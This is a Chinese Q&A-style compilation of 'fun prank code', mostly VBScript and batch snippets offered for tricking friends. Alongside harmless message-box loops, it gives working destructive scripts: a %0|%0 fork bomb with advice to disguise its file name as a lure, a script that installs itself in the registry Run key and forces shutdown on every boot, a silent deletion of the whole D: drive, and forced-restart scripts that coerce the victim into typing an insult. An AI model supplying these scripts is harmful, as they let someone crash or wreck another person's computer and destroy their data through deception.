好玩的电脑代码
㈠ 求一些好玩的整人代码
.bat文件
【测试平台复】32bit XP
【功能】让电脑死制机
-----代码开始------
%0|%0
-----代码结束------
使用方法：
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】
4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】
【郑重警告！】
最好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……😜】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】
㈡ 有什么好玩的vbe程序代码
首先打开记事本，然后输入以下代码：on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"
然后保存为.vbe文件，文件名随便你填，记住后缀名是.vbe，这个是逼别人说：我是猪。 否则1分钟把他电脑关闭的整人小程序，内容你自己可以改下，中文的地方都可以随你改
㈢ 求一些好玩的整人代码~~
这些超级好玩看看
第一个：
这些超级好玩
第一个：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二个：
“
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
这个病毒的说明：在任务管理器关闭wscript.exe可关闭弹窗
第三个：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四个：
do
msgbox"哈哈哈有种把我关掉”
loop
哈哈哈有种把我关掉可以随意更改
第四个的升级版：
do
msgbox"哈哈,有种关掉我啊"
msgbox"开始倒计时"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子强最帅"
loop
野生熊孩子强最帅可以随意更改
第五个：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六个：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七个:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八个：名：腾讯QQ
do
msgbox”别点我哟，我今天想休息，不让登”
loop
第九个：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪，不说我是猪就两分钟关你机，不信，你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，说 ""我是猪""","说不说","你写啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10个：
Gecho off
start cmd
%0
第11个：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陈独秀"
a=inputbox("快在下面的框框里输入陈独秀喜欢谁,否则后果自负"" ","一个问题","")
loop
call shutdown(2)
msgbox"好吧，不过好自恋啊",4096+64
msgbox"但是你关不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打开任务管理器也没有什么软用的",4096+64
MsgBox"给你讲个故事",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 60
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12个：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13个：
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
㈣ 求好玩的文本代码~
都是文本的话，可以试一下DOS下的一个复制合并命令
Copy
X:\***.txt
X:\***.txt
X:\newname.txt
某路内径容下某txt文件
某路径下某txt文件
某路径下新的txt文件名
㈤ 求一些有趣的VBS代码
无害的，一个心理测试（膨胀）
有点简单。（。）
代码如下：
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
——————分割线————————
保存，保存类型为所有文件，名字随便，矿展名“.vbs”，保存后点开。
㈥ 有什么好玩的c语言代码
哈哈~ C语言再配上easyx插件，可以开发很多好玩的游戏哦^_^这篇博文网页链接基于easyx实现的小蓝鲸跑酷游戏，有详细开发文档和源码，也可以在这个网站上面搜索看看，还有其他很多好玩的程序源码和开发文档，一个干货满满的博客
㈦ 好玩的整人代码有哪些
Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"
这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时、不会关掉？ 就双击这个vbs脚本就可以了。
制作方法：建立一个记事本。写下我告诉你的代码。 然后点击<文件>—<留存为>-选择所有文件，并且文件名为.vbs结尾【例如：我爱你.vbs】
㈧ 今天搜到一个好玩的代码，请高手讲解一下原理及说一下对电脑有没有危害
这是网来上某位我是猪的作者，编的一自段“整人的VBS”代码，按提示输入“我是猪”就解除关机命令，否则从90秒倒计时到0后自动关机。
大的危害没有，小的危害就是你不按提示输入就强制关机。（丢失没有保存的内容）
㈨ 谁有好的小游戏代码最好是那些单机游戏，好玩一点的，谢谢！
去下几个SFC\MD的模拟器好了
一个ROM不会超过10M
㈩ 我想要几个好玩的bat代码
复制以下代码粘贴到笔记本里，再把后缀名改为.vbs
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a= inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"